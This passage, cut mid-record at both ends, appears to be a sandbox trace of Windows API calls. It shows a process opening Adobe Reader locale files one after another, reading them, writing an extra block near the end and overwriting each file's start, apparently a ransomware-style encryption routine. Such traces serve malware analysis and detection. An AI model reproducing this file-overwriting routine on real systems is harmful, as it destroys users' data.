lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.137] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.137] ReleaseMutex (hMutex=0x128) returned 1 [0038.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.FRA", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.FRA", cchWideChar=17, lpMultiByteStr=0x1e78974, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.FRA", lpUsedDefaultChar=0x0) returned 17 [0038.137] ReadFile (in: hFile=0x1a0, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.140] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xa600 [0038.140] ReadFile (in: hFile=0x1a0, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.140] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xa600 [0038.141] WriteFile (in: hFile=0x1a0, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.141] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.141] WriteFile (in: hFile=0x1a0, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.141] CloseHandle (hObject=0x1a0) returned 1 [0038.141] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\IA32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ia32.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.141] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.141] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe00 [0038.141] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.141] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.141] ReleaseMutex (hMutex=0x128) returned 1 [0038.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.FRA", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.FRA", cchWideChar=8, lpMultiByteStr=0x1e6320c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.FRA", lpUsedDefaultChar=0x0) returned 8 [0038.142] ReadFile (in: hFile=0x1a0, lpBuffer=0x2737d38, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737d38*, lpNumberOfBytesRead=0x354f2bc*=0xe00, lpOverlapped=0x0) returned 1 [0038.428] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0038.428] WriteFile (in: hFile=0x1a0, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x354f2d0*=0x1388, lpOverlapped=0x0) returned 1 [0038.428] CloseHandle (hObject=0x1a0) returned 1 [0038.429] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\SendMail.fra" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\sendmail.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.429] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.429] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4200 [0038.429] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.429] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.429] ReleaseMutex (hMutex=0x128) returned 1 [0038.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.fra", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.fra", cchWideChar=12, lpMultiByteStr=0x1e6312c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.fra", lpUsedDefaultChar=0x0) returned 12 [0038.429] ReadFile (in: hFile=0x1a0, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.432] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3200 [0038.433] ReadFile (in: hFile=0x1a0, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.433] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3200 [0038.433] WriteFile (in: hFile=0x1a0, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.433] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.433] WriteFile (in: hFile=0x1a0, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.434] CloseHandle (hObject=0x1a0) returned 1 [0038.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\BRdlang32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\brdlang32.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.434] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.434] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3600 [0038.434] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.434] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.434] ReleaseMutex (hMutex=0x128) returned 1 [0038.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HRV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.HRV", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.HRV", lpUsedDefaultChar=0x0) returned 13 [0038.434] ReadFile (in: hFile=0x1a0, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.442] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2600 [0038.442] ReadFile (in: hFile=0x1a0, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.442] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2600 [0038.442] WriteFile (in: hFile=0x1a0, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.443] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.443] WriteFile (in: hFile=0x1a0, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.443] CloseHandle (hObject=0x1a0) returned 1 [0038.443] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PPKLITE.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ppklite.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.443] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.443] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x7e400 [0038.443] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.443] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.443] ReleaseMutex (hMutex=0x128) returned 1 [0038.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.HRV", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.HRV", lpUsedDefaultChar=0x0) returned 11 [0038.444] ReadFile (in: hFile=0x1a0, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0038.446] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x7d400 [0038.446] ReadFile (in: hFile=0x1a0, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.450] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x7d400 [0038.451] WriteFile (in: hFile=0x1a0, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.451] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.451] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0038.451] CloseHandle (hObject=0x1a0) returned 1 [0038.451] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Updater.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\updater.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.452] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.452] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2800 [0038.452] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.452] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.452] ReleaseMutex (hMutex=0x128) returned 1 [0038.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.HRV", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.HRV", lpUsedDefaultChar=0x0) returned 11 [0038.452] ReadFile (in: hFile=0x1a0, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.456] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1800 [0038.457] ReadFile (in: hFile=0x1a0, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.457] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1800 [0038.457] WriteFile (in: hFile=0x1a0, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.457] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.457] WriteFile (in: hFile=0x1a0, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.457] CloseHandle (hObject=0x1a0) returned 1 [0038.457] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\eBook.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ebook.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.457] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.458] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1c00 [0038.458] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.458] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.458] ReleaseMutex (hMutex=0x128) returned 1 [0038.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HUN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HUN", cchWideChar=9, lpMultiByteStr=0x1e633ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.HUN", lpUsedDefaultChar=0x0) returned 9 [0038.458] ReadFile (in: hFile=0x1a0, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f2bc*=0x1c00, lpOverlapped=0x0) returned 1 [0038.462] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0038.462] WriteFile (in: hFile=0x1a0, lpBuffer=0x2771588*, nNumberOfBytesToWrite=0x2188, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2771588*, lpNumberOfBytesWritten=0x354f2d0*=0x2188, lpOverlapped=0x0) returned 1 [0038.463] CloseHandle (hObject=0x1a0) returned 1 [0038.463] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\SaveAsRTF.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\saveasrtf.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0038.465] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.465] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4a00 [0038.465] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.465] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.465] ReleaseMutex (hMutex=0x128) returned 1 [0038.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HUN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HUN", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.HUN", lpUsedDefaultChar=0x0) returned 13 [0038.465] ReadFile (in: hFile=0x12c, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.468] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3a00 [0038.468] ReadFile (in: hFile=0x12c, lpBuffer=0x2772388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.469] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3a00 [0038.469] WriteFile (in: hFile=0x12c, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.469] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.469] WriteFile (in: hFile=0x12c, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.469] CloseHandle (hObject=0x12c) returned 1 [0038.469] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\AdobeCollabSync.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\adobecollabsync.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0038.469] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.469] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1a00 [0038.469] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.469] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.470] ReleaseMutex (hMutex=0x128) returned 1 [0038.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ITA", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0038.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.ITA", cchWideChar=19, lpMultiByteStr=0x1e78974, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.ITA", lpUsedDefaultChar=0x0) returned 19 [0038.470] ReadFile (in: hFile=0x12c, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0038.473] 